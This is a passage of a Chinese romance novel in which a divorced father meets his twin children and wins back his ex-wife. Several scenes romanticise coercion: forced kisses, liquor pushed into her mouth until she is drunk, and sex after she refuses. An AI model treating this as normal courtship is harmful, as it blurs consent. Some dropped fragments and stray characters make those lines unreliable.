章芝纭千言万语堵在心口,握住周静烟的手,含着泪不住摇头。 “这些年……这些年真是苦了你了!” 周静烟也摇摇头,看见他们,她发自内心感到高兴,泪盈盈笑道:“叔叔阿姨,快请进。” 章芝纭本想让她管自己叫妈妈,又想着人家离婚这么久,继续这么叫,她心里肯定也不舒服,便忍着难过没提这茬。 夫妇俩进门后四处环顾,这房子虽说还没到破败不堪的地步,可他们从未住过这般窄小老旧的地方,不禁心酸难过,摇头叹息,眼眶又红了几分。 周听雨跳下沙发,走到他俩跟前,仰起小脑袋,睁大眼睛看着他俩。 周静烟温柔提醒:“听雨,这就是爷爷奶奶。” 周听雨声音脆脆的,奶呼呼:“爷爷奶奶好!” 老两口心里软得一塌糊涂,赵天成抱起孩子,眼圈泛红,脸上却满是笑容:“你就是听雨小朋友吧?” 章芝纭抹抹泪,轻抚孩子的头,目光饱含慈爱,声音颤得厉害:“听雨,我是奶奶,我是奶奶……” 周听雨瞧着慈眉善目的奶奶,小手伸向她的脸,替她抹泪:“奶奶别哭。” 章芝纭点着头应道:“哎!奶奶不哭,不哭!” 她从丈夫怀里抱走孩子,紧紧搂着,把这孩子当心肝儿L珍宝,舍不得松开手,嘴上说着不哭,眼泪却没断过。 赵天成听到一间房里传来哭声,哭声不算大,断断续续的,他走到儿L童房前,问周静烟那父子俩是不是在里面,周静烟点点头,说:“叙平不肯开门,您劝劝吧……” 赵天成叩了叩房门:“赵叙平!” 章芝纭也抱着孩子过来,抬手叩门:“赵叙平!” 里头,赵叙平早听见他俩来了,这会儿L冲着门开口:“干嘛?训孩子呢,等会儿L!” 话音刚落,房里忽然爆发出孩子撕心裂肺的哭喊:“救命!救命啊!他是人贩子!快救救我!” 外面三个大人面面相觑,小小的周听雨懵了:“妈妈,赵叔叔怎么成人贩子啦?” 周静烟哭笑不得,拍了拍门,对儿L子说道:“云生,别乱说,你先好好认个错。” 她知道,儿L子今天不认这个错,赵叙平是不会开门的。 周云生嚎啕大哭:“妈妈!呜呜呜呜我要妈妈我要妈妈!妈妈好,赵叔叔坏!” 出乎意料的是,门竟然开了。赵叙平一手揣兜,一手攥着孩子胳膊,父子俩从屋里出来。 赵天成从他手里抢过孩子,一把抱起,见孩子满脸是泪,哭得眼睛都肿了,怒气冲冲瞪一眼赵叙平,又看向怀里的孩子,心疼问道:“哪里被揍了?还疼不疼?” 周云生抽泣着摸摸小屁股:“这儿L……还疼……” 赵天成抱孩子去沙发坐下,让他趴着横躺在自己腿上,拉下裤子一看,孩子屁股果然红了。 赵天成知道,儿L子其实没下狠手揍,可他跟孙子隔辈亲,孙子挨揍,哪管揍得轻揍得重,他都心疼得不行,给孙子穿好裤子,抱起孙子,扭头冲儿L子黑脸。 “云生才这么点儿L大,你也下得去手!”赵天成怒道。 赵叙平双手揣兜,低头别过脸:“我两岁那会儿L,您不也揍我?” 赵天成:“那是因为你淘!” 赵叙平:“我揍周云生,还不是因为他淘?” 赵天成:“胡说!他我不了解,我还能不了解你?他再淘能有你淘?” 赵叙平气得发笑,扭脸看着父亲:“合着我挨揍就是活该,他挨揍就是受委屈?” 章芝纭抢在丈夫前面开口:“你这话还真说对了!” 赵天成附和:“没错!你还算有点儿L自知之明!” 赵叙平轻哼,点点头,又转过脸去,不再作声。 周云生看看抱着自己的赵天成,又看看章芝纭,抬手胡乱擦了把泪,好奇问道:“你们是谁呀?为什么来我家?” 赵天成脸一转向孙子,神情自然而然慈祥起来:“我们是——” 他忽地停住,扭头问周静烟:“静烟,现在能说么?” 周静烟迟疑片刻,心想自己既然已经跟女儿L坦白,不如趁这个机会,让儿L子知道真相。 她点点头。 得到她的允许,赵天成才继续跟孩子说道:“我们是你的爷爷奶奶。” 周云生皱起眉头,想起摇摇车上经常放的那首歌——“爸爸的爸爸叫爷爷”…… 他不解地看着赵天成:“爸爸的爸爸妈妈来了,那爸爸呢?” 章芝纭原本笑眯眯瞧他,听到这话,下巴冲儿L子一扬,看向儿L子时,面色冷了几分,又看向孙子,变回笑眯眯的:“那儿L呢。” 周云生猛地吸气,瞪大眼睛指着赵叙平:“你真是我爸呀!” 赵叙平正生着气,忽地笑了,走到他跟前,侧头瞧着他:“认我这个爸爸么?” 周静烟不自觉屏住呼吸,目光紧锁在儿L子脸上。 周云生愣愣看他好一会儿L,什么也没说。 周静烟走到赵叙平身旁,胳膊轻轻碰碰他,小声提醒:“你抱他进屋,你俩好好聊一聊,不许凶他,更不许揍!” 赵叙平点头,冲儿L子张开双臂:“爸抱抱,成么?” 周云生仍是愣的,不作声,也不知在想什么。 赵天成将孩子递给他,他抱过来,转身往儿L童房走,身后传来女儿L的哭声。 “爸爸偏心!只抱弟弟不抱我!只跟弟弟聊天,不理我!呜呜呜偏心眼儿L的爸爸!” 赵叙平眼前一黑,烦恼夹杂着幸福涌上心头。 他深吸一口气,往回走,另一只手抱起女儿L,一手搂着一个孩子走向房间。 第59章 第59章【VIP】 望着他们仨的背影,章芝纭不禁担心:“叙平能控制得了脾气么?别又把云生揍一顿……” 周静烟相信这点控制力赵叙平还是有的,冲她笑笑:“叙平是孩子父亲,让他和孩子多接触也好,云生性子像他,父子之间,需要更多时间磨合。” 章芝纭:“云生性子虽然像他,可也比他强多了。” 周静烟忍着没敢笑出声,心里想:周云生八成比赵叙平小时候更淘,也更会气人,赵叙平输就输在是儿子,不是孙子。 客厅里,章芝纭与周静烟说着体己话,赵天成默默陪着她俩。 房间里,赵叙平头一次以父亲的身份面对孩子,情况比他预想的艰难得多,简直让他一个头两个大。 孩子们看着这位熟悉的叔叔,心里还不太能接受他就是自己父亲这回事,两双大眼睛瞪向他,目光困惑而迷茫。 “刚才你教训弟弟那会儿,妈妈都跟我说啦。”周听雨冲赵叙平眨眨眼。 赵叙平抬手温柔替女儿拭去脸上泪痕,笑着问:“妈妈跟你说什么了?” 周听雨:“妈妈说,你就是爸爸。” 赵叙平轻抚女儿面庞:“听雨相信吗?” 周听雨看了他片刻,点点头。 他扭脸问儿子:“云生呢?相信吗?” 周云生眼神仍是发愣,泪汪汪的,鼻孔下还挂着鼻涕。 他被儿子这副傻样逗乐,起身找来纸巾,一边替儿子拭泪擦鼻涕,一边问:“还疼吗?” 周云生又伤心哭起来,揉揉自己小屁股,哇哇大哭:“爸爸坏!坏爸爸!” 赵叙平扯开他裤子看一眼,屁股红是红了,可自己也没使多大力,还能疼到现在? “爸爸宁愿当个坏人,也要把你这乱摔东西的毛病给治好。以前是不是也总摔东西?” 周云生哭着摇头。 周听雨悄悄告诉父亲:“弟弟经常不高兴就摔玩具。” 赵叙平冲她做了个嘘声手势,摸摸她脑袋,摇摇头,又问儿子:“妈妈有没有教过你不能这样?” 周云生抽噎一会儿,小声开口:“有……” 赵叙平:“妈妈教过,你还这样,妈妈得多难过啊,一遍一遍教,很累的,咱们男子汉要体谅妈妈,知道吗?” 周云生:“可是……可是我一生气,就、就忍不住想摔……” 赵叙平笑了笑,握住他的小手:“沙发上不是有抱枕么?下回生气,咱们就摔抱枕,把抱枕往沙发上摔。” 周云生撇嘴嘟囔:“那样多没劲!” 赵叙平:“没劲就对了,摔几次你也觉着没意思,就不想再摔了。” 周云生吸吸鼻子,抬头看他,问:“你小时候会摔东西吗?” 赵叙平:“当然会。” 周云生:“爷爷也会揍你?” 赵叙平乐了:“他揍我,可比我揍你狠多了。” 周云生望一眼门口:“外头那个真是我爷爷?” 赵叙平:“我是你亲爹,外头那个是你亲爷爷。” 周云生回想起赵天成慈祥的面庞,摇了摇头:“可是我觉得爷爷很好,才不会像你这么凶。” 赵叙平轻声叹息,笑容几分无奈:“他也就对你们温柔些,对我,严厉着呢。” 周云生:“你小时候总挨揍?” 赵叙平:“挨揍对我来说,属于家常便饭。” 周云生:“还不是因为你淘气!” 赵叙平噗嗤乐出声,屈着手指刮他高挺的小鼻梁:“咱俩谁也甭说谁,你小子好哪儿去?” 周云生撅起小嘴,头扭向另一边:“爷爷说你可比我淘!” 赵叙平正笑着,忽地愣住,捧起儿子脸庞:“认我这个爹了?” 周云生嘴撅得能挂油瓶:“哼!” 赵叙平:“叫声爸爸。” 周云生:“不!要!” 周听雨仰脸冲父亲笑,甜甜叫道:“爸爸!” 赵叙平俯身抱起她,左亲亲右亲亲,看着他的心肝宝贝,乐得合不拢嘴:“还是小棉袄贴心。” 周听雨抬起胳膊,搂住父亲脖子,小小的脑袋靠在父亲肩膀上,深深吸气,嗅了嗅,感慨:“爸爸身上香香的,好好闻呀!” 赵叙平柔声回应:“你妈妈也喜欢这味儿。” 周听雨:“爸爸是不是喷香水啦?” 赵叙平:“那没有,爸爸衣柜里有木质香片,衣服都染上香气了。” 周里也要放这个,我的衣服也要香香的!” 赵叙平:“行啊,爸爸还给你买香水,,爸爸不差钱。” 周云生立马插话:“也得给我开公司!我要赚大钱!” 赵叙平刚要开口,见他又挂了两条大鼻涕,忍不住笑出声,抽:“开公司开公司,哪啊,擤干净。” 给儿子擦完鼻涕,赵叙平抱起他,腿上,左右胳膊各搂一个孩子,语重心长说道:“爸爸的,你们仨得健康平安活到先走,你俩必须替爸爸照顾好妈妈,不能让妈妈伤心,更 孩子们有些听懂了,有些没听懂。 周听雨歪着脑袋,大眼睛眨啊眨:“爸爸先走?爸爸,你要去哪儿?” 赵叙平陷入沉思,不知该怎么给孩子解释,过了会儿,简单总结道:“人都有去世的一天,爸爸妈妈也会去世,爸爸可能比妈妈先去世。” 说完,他问:“你俩知道去世是什么意思吧?” 孩子们点点头。 周云生:“如果妈妈先去世呢?” 赵叙平沉默片刻,说:“那就是妈妈先去另一个世界等咱们,总有一天,咱们一家会在那边团聚。” 气氛变得沉重,赵叙平扯扯唇:“不说这个,咱们说些别的。你俩有什么想对爸爸说的吗?” 周听雨靠在他怀里,仰脸问:“爸爸,你为什么不早点儿来看我们呀?” 赵叙平低头,没好意思看女儿:“爸爸错了,爸爸没有及时发现你们,爸爸以为……以为妈妈一个人生活。” 周云生:“你不知道妈妈有我和姐姐?” 赵叙平:“如果知道,爸爸一定不会这么晚才来。” 周听雨:“咱们会搬去别墅住吗?” 赵叙平:“你俩想搬过去吗?” 俩孩子齐齐点头。 赵叙平也点点头:“那就搬过去,爸爸也想每天看见你们。” 周听雨小眉头皱起来:“可是妈妈说过,我俩可以去,她不去,她要自己住这儿。” 周云生虽然很想住大别墅,却又舍不得母亲,纠结一番,叹了口气:“妈妈不去,我也不去,我要陪妈妈。” 周听雨趴在父亲肩头求道:“爸爸,你劝劝妈妈行么?” 赵叙平无奈:“爸爸说话不好使啊。” 周云生:“揍我的时候你不是说你说话好使吗?” 赵叙平愣了愣,扭头看向别处,脸颊发烫,轻轻咳嗽一声:“那什么,也就对你妈妈不好使。” 俩孩子眼里充满困惑。 赵叙平叹息,沉默一会儿,跟孩子解释:“妈妈有权不听我的。她不听我的,我拿她也没招。” 周云生小眉头拧得死紧:“为什么呀?不公平!凭什么妈妈可以不听你的,我就不行!” 赵叙平想都没想便说道:“因为她是我最爱的女人。” 周云生:“那我不是你最爱的孩子吗?” 赵叙平被这话噎住。 周听雨冷不丁开口:“不是,因为爸爸最爱我。” 周云生叉着腰冲姐姐凶:“胡说!爸爸最爱我!” 周听雨:“他爱你为什么还要揍你!” 周云生被戳到伤心处,哇的一声又哭了。 赵叙平苦着脸冲闺女摇头:“祖宗啊,您先闭嘴吧,别给我添乱了。” 周听雨噘嘴瞪他片刻,逼问:“那你最爱我还是最爱弟弟?” 赵叙平:“都爱都爱!” 周云生哭得更大声。 这个回答周听雨不满意:“不能都爱!我们俩之间你必须选一个!” 赵叙平轻拍着儿子后背,安抚道:“爸爸爱云生。”又扭头看向女儿:“也爱听雨。”最后把他俩的小手交叠在一起:“姐弟俩得团结,不能老内讧。你们都是爸爸的孩子,爸爸对你们的爱是一样的,但你们一个是丫头一个是小子,爸爸表达爱的方式肯定不一样,对小子要严厉些,对丫头就娇惯些。” 这回周听雨满意了,周云生却不满意,哭着喊着说他偏心眼儿。 外头听见里面哭,以为他又开始揍孩子,三个人冲进来,见他满脸无奈抱着孩子,都愣住了。 赵天成俯身,问周云生:“怎么又哭啦?爸爸是不是说话不中听?” 章芝纭赶忙劝道:“别跟你爸计较,他打小就这样,狗嘴里吐不出象牙!” 这回轮到赵叙平不满意了,眉心紧锁:“不是,爸,妈,你们俩能不能给我留点儿面子?好歹我也当爹了,你们总这样,以后我还怎么在孩子跟前树立威信?” 周静烟虽然不站他这边,可也看出来爷爷奶奶太惯着孩子。其实赵叙平说得没错,老一辈不该在父母管教孩子时灭父母威风。 她决定尽快找个机会跟长辈聊一聊,转脸看向赵叙平:“你先出来,让孩子和爷爷奶奶单独聊聊。” 赵叙平心里松一口气,看她像看救命恩人似的,赶忙将孩子抱给父母,起身逃出房间。 周静烟也跟着出来,留祖孙四人在里面,轻轻替他们关上门。 赵叙平抹抹额头上的汗,长叹一声:“你可真是太不容易了。” 周静烟微侧着头瞧他,似笑非笑:“父母没那么好当吧?” 他想握她的手,被她躲开,手在半空停了片刻才收回,摸摸后脑勺,摇着头笑道:“主要是他俩还小,有时候讲不了道理,大点儿就好了。” 周静烟提醒:“以后买什么东西,吃的穿的用的玩的,必须买双份,可以不同款,但这个有,那个也得有,否则闹起来脑仁都给你吵疼。” 赵叙平又是一声长叹:“今儿我算是见识到了。” 他忽然想起父亲在家对自己说的话,硬生生调转话题:“反正明早也要上我爸妈那,不如今晚一起过去,等会儿让他们四个分开,没准又得哭哭啼啼。” 周静烟倒是没反对:“也行,你们去吧,我就不去了。” 赵叙平正想问她干嘛不去,脑子里冒出父亲那番劝告,凑过去低声求道:“你也去,孩子离不了你,我也离不了。去吧,成么?去吧,求你了。” 周静烟见他死皮赖脸这样儿,烦得紧,冷脸蹙眉:“少跟我来这套,不顶用。” 他趁她不备,一把将她搂进怀里,薄唇贴过去,她左躲右躲,到底被亲上了,气得抬脚踩人。 有了上回的经验,赵叙平料到她要出这招,飞快躲开,她踩了个空,又被连着亲了好几口,气得直跺脚。 “孩子老人都在里面,你可真要脸!”怕被里面听到,周静烟骂都不敢大声骂,压低嗓子嗔怪。 这人挨了骂也觉着开心,额头抵上她额头,笑得又痞又坏:“我不要脸,我就耍无赖。” “你不要脸我还要,离都离了,哪能住一块儿?” “那就复婚。” “想得美!” “就想,就想,我就想得,怎么着?”赵叙平乐出声,眉眼间笑意溢出来,“我学咱儿子学得像么?” 周静烟也绷不住噗嗤一笑,捶他几下,又开始挣扎:“快放开,等会儿叫他们看见,我可没脸!” 他偏不放,又往她脸颊亲个没完。 房间门忽然打开,章芝纭和丈夫各自抱一个孩子出来,正好撞见这一幕。 夫妻俩面面相觑,孩子们拍着手笑。 “爸爸亲妈妈!” “哎哟——羞羞!” “周云生,这叫相亲相爱!” “不害臊!” “这叫浪漫!” “没眼看!” 姐弟俩这番对话都得爷爷奶奶笑个不停,周静烟羞红了脸,赵叙平没脸没皮,趁机又提道:“爸妈,今晚大家都上你们那吧,静烟也去。” “我——”周静烟开口便被孩子们打断。 “耶!妈妈也去!” “妈妈去我也去!” “咱们一起去!” 章芝纭幸福得红了眼眶,点点头:“太好了,真没想到这辈子,我还能赶上这一天……” 拒绝的话堵在喉咙,周静烟怕她伤心,也知道自己要是不去,她和赵叙平父亲肯定会一直劝,思忖片刻,低声应道:“走吧,时间不早了,过去让孩子们赶紧洗了睡了。” 赵叙平乐得一路上唇角就没下来过。 回到久违的那幢别墅,周静烟看着孩子们在客厅跑跑跳跳,心情变得复杂,正愣神,手被赵叙平握住。 她挣了挣,挣不开。 赵叙平牵着她走向电梯,来到楼上酒窖。 “咱俩离婚后,我在这醉过,酒瓶子摔一地。”他关上酒窖门,转脸看向她,眨了眨深邃的眼,“周静烟,咱俩玩个游戏吧。” “什么游戏?”她问。 “真心话大冒险。” “没劲。” “跟别人玩儿没劲,咱俩玩儿肯定带劲。” “不玩儿。” 他又眨了眨眼,笑容狡黠:“不想知道我是什么时候喜欢上你的?” 周静烟愣住片刻,拉开酒桌旁的椅子坐下,扭头看着他,笑得风情万种:“来啊,谁怕谁。” 第60章 第60章【VIP】 赵叙平轻扯唇角,将酒窖窗帘拉上,从酒桌抽屉里拿出一副扑克牌,在她对面坐下。 以前周静烟陪他去会所,看他玩过牌,脑子转不快,没怎么看明白,这会儿见他又要玩牌,周静烟心知自己玩不过,立马反悔:“不玩这个,跟你玩只有输的份儿。” 赵叙平侧头笑笑:“最简单那种,比大小,没什么技术含量,纯看运气。” 周静烟半信半疑,挑眉:“真的?” 赵叙平:“你三张我三张,看谁点数总和大,谁大谁赢,够简单吧?” 周静烟仍有些犹豫。 他又说道:“每次都是你洗牌,成么?这样我不可能有机会作弊。” 周静烟这才点头。 既然游戏不靠技术,那就安心听凭运气。 头一把运气不怎么样,周静烟三张牌加起来少他一个点。 她放下牌,抬头看向赵叙平,见他淡笑着问选真心话还是大冒险。 “真心话。”她说。 赵叙平想了片刻,问:“如果我没发现孩子的存在,是不是打算瞒我一辈子?” 周静烟毫不犹豫点头。 赵叙平沉默一会儿,也点了点头,将牌推给她。 她洗完牌,摸三张,等赵叙平摸完,迫不及待摊牌。 见自己总点数更大,周静烟笑靥如花,高兴惊呼:“我赢啦!” 赵叙平笑笑,不作声。 她瞥他一眼,嘟囔:“笑什么嘛!” 赵叙平:“笑你可爱,这么些年,一直都跟小孩儿似的,没长大。” 她不服气,昂首挺胸:“怎么没长大?三十多了呢!” 赵叙平唇边笑意止不住:“三十多,在我眼里也是小孩儿。” 周静烟撅了撅嘴:“可能是因为你太老吧。” 赵叙平脸上笑容僵住,愣了片刻,清清嗓子:“那什么,问吧。” 周静烟心里许多问题,这也想问那也想问,纠结一番,问出了最想知道的那件事。 “你是从什么时候开始喜欢我的?” 赵叙平扭头看着窗帘,微微仰脸,想了好一会儿,说:“打小就挺心疼你,后来去美国,心里头总惦记你,怕你在国内被欺负得狠了,没人帮你,也怕你出什么事儿,以后再也见不着你。 “每次回国,都不怎么见你长个,模样变化也不大,可瞧着就是跟上次不一样。别人什么审美我不知道,总之我觉着,你是越来越漂亮。” 听到这,周静烟没忍住,笑出了声:“赵总审美还真挺独特,喜欢豆芽菜。” 赵叙平急了:“我可不喜欢豆芽菜,我那是喜欢你,结果你又是根豆芽菜!你都不知道那会儿我有多心疼。” 周静烟抱起胳膊,默默瞧他一会儿,扬扬下巴:“接着说。” 赵叙平靠着椅背,又将脸冲向窗帘那边。 “十八岁,别人都恭喜我成年了,我心里没多高兴,因为你还小,才十三。有时候总梦见你,每回梦见,就特自责,觉着自己像个变态。其实梦里也没做什么。头一回梦见咱俩——咳,你懂什么意思吧?就,就那什么。反正梦见那什么的时候,你年纪也不算小了。” 周静烟:“然后你就发现自己喜欢我?” 赵叙平:“早有这种感觉,只是你成年以前,心里都不敢承认。我这人吧,虽然挺不是东西,可最起码的底线还是有的。” 他收住话,周静烟也不作声。 沉默好一会儿,他忽然唤她:“周静烟。” “嗯?” “我这人就算有千万个缺点,可有一点,你没法挑我的不是。” “哪一点?” “我赵叙平,心里从来都只有你。甭管这个圈子多乱,朋友玩儿得多花,我从来都只有你。心在你这儿,人在你这儿,你从来都完完整整拥有我。” 等了许久也不见她开口,赵叙平问:“没什么想跟我说的么?” 她摇摇头,声音很轻:“不知道该说什么。” 赵叙平唇边泛起苦笑:“随便说点儿什么都成。” 周静烟沉思半晌,终于开口:“爱和恨对我而言,已经是很久远的事情。换做以前的我,如果得知那盒巧克力你没有扔,一定会欣喜若狂,可那晚你电话里告诉我时,我也没多高兴,只是有些感慨——原来你还留着那个啊,然后有些唏嘘,心想真是过了好些年了。” ,红着眼眶点点头。 “你呢?” “我都行。” “那就玩儿呗。” 第三把, 愿赌服输,她坦。” 赵叙平勾勾唇角:“不想试试大冒险?” 她飞快摇头:“你这人肯定没安好心,我可不敢!” 赵叙平剑眉微挑:“试试呗,不会让你多难堪。” 周静烟脸上写满了不信,抱着胳膊哼一声,瞥他:“赶紧问。” 他眨了眨眼:“以前咱俩在一块儿,你什么时候最开心?” 周静烟陷入回忆。 “开心的瞬问其实挺多。还记得安安么?” “记得,芳姐家那小孩儿。” “咱俩在家跟安安一起吃饭,安安小嘴儿很会哄人,那时候我觉得好开心。 “有回在你父母那过年,你们赵家有个亲戚,喝了点酒,对我挺不客气,你当着所有人面维护我,差点儿掀桌,那时候我也很开心。 “还有你告诉我,你在外头没女人,都是骗我的,本来我还半信半疑,观察了一阵儿,确实没有,心里就偷着乐,觉得自己对你来说,兴许挺特别的。 “像这种开心的事儿,不算少,但要说最开心,是我十八岁那年,在农家乐柴房里亲你。” 赵叙平听乐了:“强吻哥哥,就这么开心?” 周静烟羞得脸红:“后来你还不是吻我了!” 赵叙平笑出声,故意逗她:“谁叫你先勾我?” 桌底下,她伸脚过来踩他,踩了个空,气急败坏跺脚:“人家那天喝酒了嘛!都怪沈琳,非要灌我!” 赵叙平眉眼温柔:“这事儿还得感谢沈琳,没她给你灌酒,没她追着你跑,咱俩不会躲那柴房,也不会抱一块儿啃。” 周静烟快臊死了,又跺跺脚:“你这人说话怎么这么糙,什么‘啃’呀,那是吻!” 赵叙平一脸无辜:“那时候咱俩都没经验,谁会接吻呐?还不是舌头牙齿搅和起来,一会儿咬,一会儿吸,一会儿啃?” 周静烟双手捂脸:“那是你!我才没有!我亲得很斯文!” 赵叙平含笑挑眉:“斯文?嘴唇都快给我啃秃噜皮了!” 周静烟头摇得跟拨浪鼓似的:“闭嘴吧你!” 见她羞成这样,赵叙平乐够呛:“成成成,不说这茬。” 安静两秒,这人又嘴欠:“但其实吧,你后来吻技还成,看来任何事儿都得多练,熟能生巧。” 周静烟起身,抬手冲他脑袋来一掌,他笑得上气不接下气,开了瓶酒,灌自己两口,缓缓呼出一口气,两手往下按了按:“接着玩儿。” 这把赵叙平三个三,输得毫无悬念。 周静烟都想好要问什么了,听见这人说:“我选大冒险。” 她愣住:“大冒险?你——确——定?” 赵叙平眨眨眼:“确定。” 周静烟侧了侧头,也冲他眨眼,笑得蔫坏:“不怕我让你出洋相呀?” 赵叙平鼻子里轻哼一声,抱着胳膊瞧她:“没事儿,放开了玩儿。” 周静烟仰起脑袋思考良久,忽然望过去,目光落到他脸上,杏眼睁大,眨啊眨,微笑着开口:“那你说一百遍爱我。” 赵叙平一愣,笑了:“这算什么惩罚?” 周静烟:“说不说嘛!” 赵叙平赶忙点头:“说,我说,不过——” “什么?” “你得坐我腿上,这样我才能说得声情并茂。” 话音刚落,赵叙平收获一对白眼。 他丝毫不气馁,起身走到她旁边,拉开椅子坐下,一把将她拽到自己腿上,双臂紧紧箍住细腰,在她开口骂人之前,很有先见之明地捂住她的嘴。 “爱你。”说完,赵叙平往她脸颊啄一下。 “爱你。”又啄一下。 “爱你。”再啄一下。 …… 他说一句,啄一下,脸上笑容越发得意。 周静烟被亲愣了,看着他的眼,心里默默计数,数着数着,被他这双深情似海的眸子迷得发痴,压根忘了说到第几遍,便也懒得管了,盯着他看个没完。 不知过了多久,他嗓子都有些发哑,周静烟才问:“第几遍了?” 赵叙平噗嗤笑出声:“你没数啊?” 周静烟捶他肩头一下:“我以为你数着呢!” 赵叙平:“我在这儿又说又亲的,哪有功夫数?” 周静烟面颊绯红,低头避开他灼热视线:“那、那不用再说了,肯定够了……” “万一不够呢?”赵叙平收了收手臂力道,搂她更紧,薄唇在她耳边轻轻呵气,“爱你,周静烟,听见没有?我爱你。” 周静烟脸红透,掌心撑在他胸膛,抵开他,拼命摇头,整个人都是烫的。 “够了够了,真的够了!” “这才哪儿到哪儿,你听够了,我还没说够。” “哎呀,你——你烦不烦!” “烦我我也要说。周静烟,我爱你。” “知道了……快放开,我、我要给孩子洗澡!” “有我爸妈在,你插不了手。” “那、那也不能什么都麻烦老人家呀,我得去帮忙!” “别介,人祖孙四个待着好好的,你去干嘛?都说隔辈亲,我看是真的,你就多余过去。” “那、那你老实点儿呀!别、别这样!” “哪样?嗯?周静烟,我哪样啊?” 周静烟力气不敌他,那双手三两下便叫她几乎失控。 她按住他手臂,不住地摇头。这人忽地停住,掀起眼皮瞧她,眸子含着笑意,柔声哄道:“喝点儿酒吧?” 周静烟哪敢跟他喝,仍是轻轻摇头:“不喝,才不跟你喝呢。” “你喝完酒脸*红红的,特好看。” “我现在脸都烫死了,还不够红?” “也红,小模样真漂亮。” “呸!撒手呀你!” 赵叙平既不撒手,也不再劝:“行,我自个儿喝。” 他腾出一只手拿起桌上那瓶酒,仰头猛喝一口,冷不丁捏住她下巴,薄唇贴过去,把酒往她嘴里渡。 被迫喝了半口酒,周静烟辣得泪花都出来了,往他胸膛胡乱拍打,嘴里骂他疯子,又被他捏着下巴渡酒。 这回渡得更多,她立马上头,感觉晕乎乎,仰脸看着旋转的天花板,双手揪住他衬衫领子,拖着声儿说:“赵叙平,你坏死了。” 他笑眯眯问:“哪儿坏?” 周静烟软趴趴靠进他怀里,脑袋搭在他肩上,娇嗔:“最怕跟你喝酒,每次都灌我,灌完准没好事儿。” 赵叙平凑她耳边,轻声问:“每次你都嚷嚷着‘到了’,怎么不算好事儿?” 周静烟羞得紧闭着眼捶他:“不许再说了!也不许再给我灌酒,我、我要睡觉。” “好。”男人答应得爽快,打横抱起她走出酒窖。 周静烟懒得睁眼,迷迷糊糊感觉自己被放在床上,以为总算能安心睡觉,身子却被压住,猛地睁眼,才发现一双眼睛正虎视眈眈看着自己。 “赵!叙!平!不是答应让我睡觉吗?!”她气得想咬人,被他躲开,自己却动弹不得。 这人半阖着眼瞧她,笑里带着股风流痞劲儿:“睡呗,你睡你的。” “那你别碰我!” “那不成,我不要脸,我忍不住。” “你还真是——”周静烟一时语塞,不可思议看着这人。 “真是什么?”他乐呵呵问。 反正自己脸皮后如城墙,随她骂去,尝到甜头比什么都强。 她半张着嘴,说不出话,很快便被他薄唇堵住,想说也说不了。 折腾起来就没完,周静烟哪里得睡,好不容易捱到后半夜,以为终于能睡了,这人抱着她开始一个劲儿说“爱你”,她越听越烦,忍不住发火。 “赵叙平你有完没完!” 这会儿累得几近虚脱,她声音语气都软绵绵,毫无杀伤力,在他眼里,发火也可爱至极。 他亲亲这张滚烫脸颊:“你睡你的,我说我的,就当是给你催眠了。” 周静烟哭笑不得:“你在我耳边‘嗡嗡嗡嗡’跟苍蝇似的,人家怎么睡得着!” 这人手捂着眼,装哭,呜呜几声,委屈极了:“明明说的是爱你,怎么就成了嗡嗡嗡的苍蝇?” 周静烟彻底被他逗笑,双脚在被子里无力地蹬几下,叹气:“奔四了都,怎么还这么没脸没皮?” 他搂紧如柳般的细腰,总算正经了些,笑道:“这你就不懂了,岁数越大,在乎的越少,脸皮也就越厚。” 周静烟闭着眼撇撇嘴:“我就是活到一百岁,也没某些人脸皮厚。” “那是,我可是滚刀肉,跟小公主没法比。” “噗——快别恶心我了,一把年纪,谁还是小公主!” “我说你是你就是,烟烟永远是我的小公主。” 她在他怀里扭扭身子,嘤咛一声,又捶了捶他,微扬的唇角被他目光捕捉到。 他凑近亲一亲:“口是心非,嘴上嫌恶心,心里别提多高兴,是吧?” “才没有!” 周静烟脸埋进他胸膛,笑意却止不住。 他趁热打铁,捧起她脸颊,柔声问:“可以原谅我了吗?” 她睁开眼,默默看着他摇头。 “还不行啊?”赵叙平浅叹一声,做出一副受伤表情,剑眉微皱,“小公主,要微臣怎么做,您才能原谅我?” 周静烟被他逗乐,扯开搭在自己腰问的手,转过身去背对着他。 “先这么着吧,困了,睡觉。” 男人撑起半边身子,低头看着她,眉心紧锁:“什么叫‘先这么着’?” 她不理会。 赵叙平急得轻轻推她:“哎不是,周静烟,你给我说清楚,不说清楚不许睡。” 周静烟烦得紧,扭头睁眼瞪他:“还能什么意思呀,就是字面意思!” “咱俩睡这么多回了,你跟我说先这么着,合着我成什么了?”赵叙平满脸不悦,眼里藏着委屈。 她俏脸微红,将头转回去,闭上眼:“你爱是什么是什么,反正我才不复合呢,更不会复婚。” 默不作声盯着她看了会儿,赵叙平长长叹息,平躺下来,屈着一条手臂,脑袋枕在上面,淡声开口:“我知道,我现在遭受的一切,都是咎由自取。” 周静烟没接茬,心想:你还知道呀。 他继续自言自语:“可我就是放不下你。我不接受下半辈子没有你。” 他侧过身来,从背后抱住她,温柔亲吻她颈窝,低声说:“睡吧,梦里见。” 怀里的人很快睡着,他却无法入梦,静静搂着她,等到天亮,悄声起床,去露台抽了根烟才回来洗澡。 下楼在客厅看见母亲,赵叙平问起孩子,母亲告诉他:“昨晚俩孩子高兴坏了,夜深才肯去睡觉。听雨跟我睡,云生跟爷爷睡。” 赵叙平见母亲面色憔悴,关心道:“您没睡好吧?” 章芝纭欣慰笑起来,舒了口气:“我也高兴坏了,哪睡得着!” 她神情一顿,仰头望望楼上:“昨晚没跟静烟吵吧?” 赵叙平:“没,我俩挺好的。” 章芝纭:“挺好的?静烟同意复婚了?” 赵叙平神色黯淡,摇头:“那倒没有,只是不抗拒我了。” 章芝纭听着这话,体会出深层含义,又往上瞧了瞧,试探道:“昨晚静烟睡哪屋?” 赵叙平摸摸鼻子,轻咳,扭脸看别处:“睡我屋。” “你俩——”章芝纭蹙眉,心里着急,“你俩现在到底是个什么情况?” “我也说不清。反正,碰是让碰,提复婚又不乐意。” “得了吧,你要不耍无赖,人能让你碰?你妈我还不知道你什么德性啊!” “她要真不乐意,我还能用强不成?这种事儿,分明就是你情我愿半推半就。嗐,您甭问了,说开了多害臊!” “哎哎哎,分明是你自个儿先说的,怎么还赖上我了!得,掰扯这些没用,我只要一个结果——把静烟给我追回来,咱们一家老小团团圆圆,其乐融融。” 赵叙平本就着急,被母亲这么一催,心里更难受,沉着脸不作声。 孩子们睡得晚,九点才起,起来就找妈妈,赵天成也问:“静烟呢?自个儿回去了?” 